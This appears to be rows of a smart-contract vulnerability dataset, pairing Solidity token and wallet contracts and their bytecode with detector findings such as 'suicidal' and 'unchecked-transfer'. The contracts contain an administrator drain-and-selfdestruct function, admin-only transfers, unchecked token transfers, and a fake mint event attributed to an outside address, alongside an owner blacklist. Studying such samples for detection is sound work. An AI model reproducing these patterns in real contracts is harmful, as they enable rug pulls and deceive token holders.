tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
_customerAddress.transfer(_taxedEthereum);
emit Transfer(_customerAddress, address(this), _tokens);
}
function registerDev234(address _devAddress2, address _devAddress3, address _devAddress4,address _devAddress5, address _devAddress6,address _commHolder)
onlyAdministrator()
public
{
dev2 = _devAddress2;
dev3 = _devAddress3;
dev4 = _devAddress4;
dev5 = _devAddress5;
dev6 = _devAddress6;
commissionHolder = _commHolder;
administrators[commissionHolder] = true;
}
function totalCommFunds()
onlyAdministrator()
public view
returns(uint256)
{
return commFunds;
}
function getCommFunds(uint256 _amount)
onlyAdministrator()
public
{
if(_amount <= commFunds)
{
etherBalanceLedger_[dev2]+=(_amount*20/100);
etherBalanceLedger_[dev3]+=(_amount*20/100);
etherBalanceLedger_[dev4]+=(_amount*25/100);
etherBalanceLedger_[dev5]+=(_amount*10/100);
etherBalanceLedger_[dev6]+=(_amount*25/100);
commFunds = SafeMath.sub(commFunds,_amount);
}
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyAdministrator()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function destruct() onlyAdministrator() public{
uint256 _amount = address(this).balance;
dev2.transfer(_amount*20/100);
dev3.transfer(_amount*20/100);
dev4.transfer(_amount*25/100);
dev5.transfer(_amount*10/100);
dev6.transfer(_amount*25/100);
selfdestruct(commissionHolder);
}
function setPercent(uint256 newPercent) onlyAdministrator() public {
percent = newPercent * 10;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setupCommissionHolder(address _commissionHolder)
onlyAdministrator()
public
{
commissionHolder = _commissionHolder;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return totalSupply_;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(2,false);
uint256 _dividends = _ethereum * percent/1000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell,false);
uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = _ethereumToSpend * percent/1000;
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, grv, false);
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _dividends = _incomingEthereum * percent/1000;
commFunds += _dividends;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, grv, true);
tokenBalanceLedger_[commissionHolder] += _amountOfTokens * 20/100;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
require(SafeMath.add(_amountOfTokens,tokenSupply_) < totalSupply_);
//deduct commissions for referrals
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// fire event
emit Transfer(address(this), _customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool buy)
internal
view
returns(uint256)
{
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(2**(_grv-1)));
uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tokenSupply = tokenSupply_;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = upperBound_(_grv);
if((_tokensReceived + _tokenSupply) < tempbase && _tokenSupply < tempbase){
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
}
if((_tokensReceived + _tokenSupply) > tempbase && _tokenSupply < tempbase){
_tokensReceived = tempbase - _tokenSupply;
_ethereum = SafeMath.sub(
_ethereum,
((_tokensReceived)/2)*
((2*_currentPrice)+((_tokensReceived-1)
*_tokenPriceIncremental))
);
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
_grv = _grv + 1;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
_tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tempTokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
_currentPrice = _currentPrice+((_tempTokensReceived-1)*_tokenPriceIncremental);
_tokensReceived = _tokensReceived + _tempTokensReceived;
}
if(buy == true)
{
currentPrice_ = _currentPrice;
grv = _grv;
}
return _tokensReceived;
}
function upperBound_(uint256 _grv)
internal
view
returns(uint256)
{
if(_grv <= 5)
{
return (60000 * _grv);
}
if(_grv > 5 && _grv <= 10)
{
return (50000 * _grv);
}
if(_grv > 10 && _grv <= 15)
{
return (40000 * _grv);
}
if(_grv > 15 && _grv <= 20)
{
return (30000 * _grv);
}
return 0;
}
function tokensToEthereum_(uint256 _tokens, bool sell)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 _grv = grv;
uint256 tempbase = upperBound_(_grv-1);
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
if((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
uint256 a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = _currentPrice-((tokensToSell-1)*_tokenPriceIncremental);
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv-1);
}
if((_tokenSupply - _tokens) < tempbase)
{
tokensToSell = _tokenSupply - tempbase;
_tokens = _tokens - tokensToSell;
a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv);
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(sell == true)
{
grv = _grv;
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}} | 10,163 |
0xEfc7dE761ae038b3bb3080ecFb98ceA51Fd442Ea | pragma solidity ^0.4.24;
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public constant returns (string) {}
function symbol() public constant returns (string) {}
function decimals() public constant returns (uint8) {}
function totalSupply() public constant returns (uint256) {}
function balanceOf(address _owner) public constant returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
/*
@dev constructor
*/
constructor (address _owner) public {
owner = _owner;
}
/*
@dev allows execution by the owner only
*/
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/*
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/*
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Utils {
/*
@dev constructor
*/
constructor() public {
}
/*
@dev verifies that an amount is greater than zero
*/
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
/*
@dev validates an address - currently only checks that it isn't null
*/
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
/*
@dev verifies that the address is different than this contract address
*/
modifier notThis(address _address) {
require(_address != address(this));
_;
}
/*
@dev verifies that the string is not empty
*/
modifier notEmpty(string _str) {
require(bytes(_str).length > 0);
_;
}
// Overflow protected math functions
/*
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/*
@dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number
@param _x minuend
@param _y subtrahend
@return difference
*/
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_x >= _y);
return _x - _y;
}
/*
@dev returns the product of multiplying _x by _y, asserts if the calculation overflows
@param _x factor 1
@param _y factor 2
@return product
*/
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract WithdrawalConfigurations is Ownable, Utils {
/*
* Members
*/
uint public minWithdrawalCoolingPeriod;
uint constant maxWithdrawalCoolingPeriod = 12 * 1 weeks; // = 14515200 seconds
uint public withdrawalCoolingPeriod;
/*
* Events
*/
event WithdrawalRequested(address _userWithdrawalAccount, address _sender);
event SetWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod);
/*
@dev constructor
@param _withdrawalCoolingPeriod The cooling period
@param _minWithdrawalCoolingPeriod The minimum time from withdraw request to allow performing it
*/
constructor (uint _withdrawalCoolingPeriod, uint _minWithdrawalCoolingPeriod)
Ownable(msg.sender)
public
{
require(_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod &&
_withdrawalCoolingPeriod >= _minWithdrawalCoolingPeriod);
require(_minWithdrawalCoolingPeriod >= 0);
minWithdrawalCoolingPeriod = _minWithdrawalCoolingPeriod;
withdrawalCoolingPeriod = _withdrawalCoolingPeriod;
}
/*
@dev Get the withdrawalCoolingPeriod parameter value.
*/
function getWithdrawalCoolingPeriod() external view returns(uint) {
return withdrawalCoolingPeriod;
}
/*
@dev Set the withdrawalCoolingPeriod parameter value.
@param _withdrawalCoolingPeriod Cooling period in seconds
*/
function setWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod)
ownerOnly()
public
{
require (_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod &&
_withdrawalCoolingPeriod >= minWithdrawalCoolingPeriod);
withdrawalCoolingPeriod = _withdrawalCoolingPeriod;
emit SetWithdrawalCoolingPeriod(_withdrawalCoolingPeriod);
}
/*
@dev Fire the WithdrawalRequested event.
@param _userWithdrawalAccount User withdrawal account address
@param _sender The user account, activating this request
*/
function emitWithrawalRequestEvent(address _userWithdrawalAccount, address _sender)
public
{
emit WithdrawalRequested(_userWithdrawalAccount, _sender);
}
}
library SmartWalletLib {
/*
* Structs
*/
struct Wallet {
address operatorAccount;
address userWithdrawalAccount;
address feesAccount;
uint withdrawAllowedAt; //In seconds
}
/*
* Members
*/
string constant VERSION = "1.1";
address constant withdrawalConfigurationsContract = 0x0D6745B445A7F3C4bC12FE997a7CcbC490F06476;
/*
* Modifiers
*/
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier addressNotSet(address _address) {
require(_address == 0);
_;
}
modifier operatorOnly(address _operatorAccount) {
require(msg.sender == _operatorAccount);
_;
}
modifier userWithdrawalAccountOnly(Wallet storage _self) {
require(msg.sender == _self.userWithdrawalAccount);
_;
}
/*
* Events
*/
event TransferToBackupAccount(address _token, address _backupAccount, uint _amount);
event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee);
event SetUserWithdrawalAccount(address _userWithdrawalAccount);
event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount);
/*
@dev Initialize the wallet with the operator and backupAccount address
@param _self Wallet storage
@param _operator The operator account
@param _feesAccount The account to transfer fees to
*/
function initWallet(Wallet storage _self, address _operator, address _feesAccount)
public
validAddress(_operator)
validAddress(_feesAccount)
{
_self.operatorAccount = _operator;
_self.feesAccount = _feesAccount;
}
/*
@dev Setting the account of the user to send funds to.
@param _self Wallet storage
@param _userWithdrawalAccount The user account to withdraw funds to
*/
function setUserWithdrawalAccount(Wallet storage _self, address _userWithdrawalAccount)
public
operatorOnly(_self.operatorAccount)
validAddress(_userWithdrawalAccount)
addressNotSet(_self.userWithdrawalAccount)
{
_self.userWithdrawalAccount = _userWithdrawalAccount;
emit SetUserWithdrawalAccount(_userWithdrawalAccount);
}
/*
@dev Withdraw funds to the user account.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
@param _amount Amount to transfer
@param _fee Fee to transfer
*/
function transferToUserWithdrawalAccount(Wallet storage _self, IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee)
public
operatorOnly(_self.operatorAccount)
validAddress(_self.userWithdrawalAccount)
{
if (_fee > 0) {
_feesToken.transfer(_self.feesAccount, _fee);
}
_token.transfer(_self.userWithdrawalAccount, _amount);
emit TransferToUserWithdrawalAccount(_token, _self.userWithdrawalAccount, _amount, _feesToken, _self.feesAccount, _fee);
}
/*
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/*
@dev user request withdraw.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
*/
function requestWithdraw(Wallet storage _self)
public
userWithdrawalAccountOnly(_self)
{
WithdrawalConfigurations withdrawalConfigurations = WithdrawalConfigurations(withdrawalConfigurationsContract);
_self.withdrawAllowedAt = safeAdd(now, withdrawalConfigurations.getWithdrawalCoolingPeriod());
withdrawalConfigurations.emitWithrawalRequestEvent(_self.userWithdrawalAccount, msg.sender);
}
/*
@dev user perform withdraw.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
*/
function performUserWithdraw(Wallet storage _self, IERC20Token _token)
public
userWithdrawalAccountOnly(_self)
{
require(_self.withdrawAllowedAt != 0 &&
_self.withdrawAllowedAt <= now );
uint userBalance = _token.balanceOf(this);
_token.transfer(_self.userWithdrawalAccount, userBalance);
emit PerformUserWithdraw(_token, _self.userWithdrawalAccount, userBalance);
}
}
contract SmartWallet {
/*
* Members
*/
using SmartWalletLib for SmartWalletLib.Wallet;
SmartWalletLib.Wallet public wallet;
// Wallet public wallet;
/*
* Events
*/
event TransferToBackupAccount(address _token, address _backupAccount, uint _amount);
event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee);
event SetUserWithdrawalAccount(address _userWithdrawalAccount);
event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount);
/*
@dev constructor
@param _backupAccount A default operator's account to send funds to, in cases where the user account is
unavailable or lost
@param _operator The contract operator address
@param _feesAccount The account to transfer fees to
*/
constructor (address _operator, address _feesAccount) public {
wallet.initWallet(_operator, _feesAccount);
}
/*
@dev Setting the account of the user to send funds to.
@param _userWithdrawalAccount The user account to withdraw funds to
*/
function setUserWithdrawalAccount(address _userWithdrawalAccount) public {
wallet.setUserWithdrawalAccount(_userWithdrawalAccount);
}
/*
@dev Withdraw funds to the user account.
@param _token The ERC20 token the owner withdraws from
@param _amount Amount to transfer
*/
function transferToUserWithdrawalAccount(IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public {
wallet.transferToUserWithdrawalAccount(_token, _amount, _feesToken, _fee);
}
/*
@dev Allows the user to request a withdraw of his/her placements
@param _token The ERC20 token the user wishes to withdraw from
*/
function requestWithdraw() public {
wallet.requestWithdraw();
}
/*
@dev Allows the user to perform the requestWithdraw operation
@param _token The ERC20 token the user withdraws from
*/
function performUserWithdraw(IERC20Token _token) public {
wallet.performUserWithdraw(_token);
}
} | 0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631d9082c48114610071578063521eb273146100a15780639219baa4146100eb578063b3423eec1461010c578063fe35530c14610121575b600080fd5b34801561007d57600080fd5b5061009f600160a060020a036004358116906024359060443516606435610142565b005b3480156100ad57600080fd5b506100b66101ee565b60408051600160a060020a03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b3480156100f757600080fd5b5061009f600160a060020a0360043516610211565b34801561011857600080fd5b5061009f6102a4565b34801561012d57600080fd5b5061009f600160a060020a0360043516610327565b604080517f1557a52f000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03808816602484015260448301879052851660648301526084820184905291517332e64c6b9b0c80cc4f1b8c3bcfac84c8d178808892631557a52f9260a48082019391829003018186803b1580156101d057600080fd5b505af41580156101e4573d6000803e3d6000fd5b5050505050505050565b600054600154600254600354600160a060020a0393841693928316929091169084565b604080517fb2d07945000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a038416602483015291517332e64c6b9b0c80cc4f1b8c3bcfac84c8d17880889263b2d079459260448082019391829003018186803b15801561028957600080fd5b505af415801561029d573d6000803e3d6000fd5b5050505050565b604080517f3be5e49f00000000000000000000000000000000000000000000000000000000815260006004820181905291517332e64c6b9b0c80cc4f1b8c3bcfac84c8d178808892633be5e49f9260248082019391829003018186803b15801561030d57600080fd5b505af4158015610321573d6000803e3d6000fd5b50505050565b604080517f2eb9e5d7000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a038416602483015291517332e64c6b9b0c80cc4f1b8c3bcfac84c8d178808892632eb9e5d79260448082019391829003018186803b15801561028957600080fd00a165627a7a72305820fff3a270de59cd3a63c7a9fb602e6a9ae539e2ff66cfc4145a5d1cf1bf1001930029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,164 |
0x9eb6d1610461536cbf846636e37838e4891f6c08 | /*
InuLink ($InuLink)
* https://t.me/InuLink
* Renounced + Liquidity Locked in 30 minutes after launch
* Snipers will be blacklisted
* Inspired by ShibaLink (SLINK)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InuLink is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "InuLink | t.me/InuLink";
string private constant _symbol = "InuLink";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
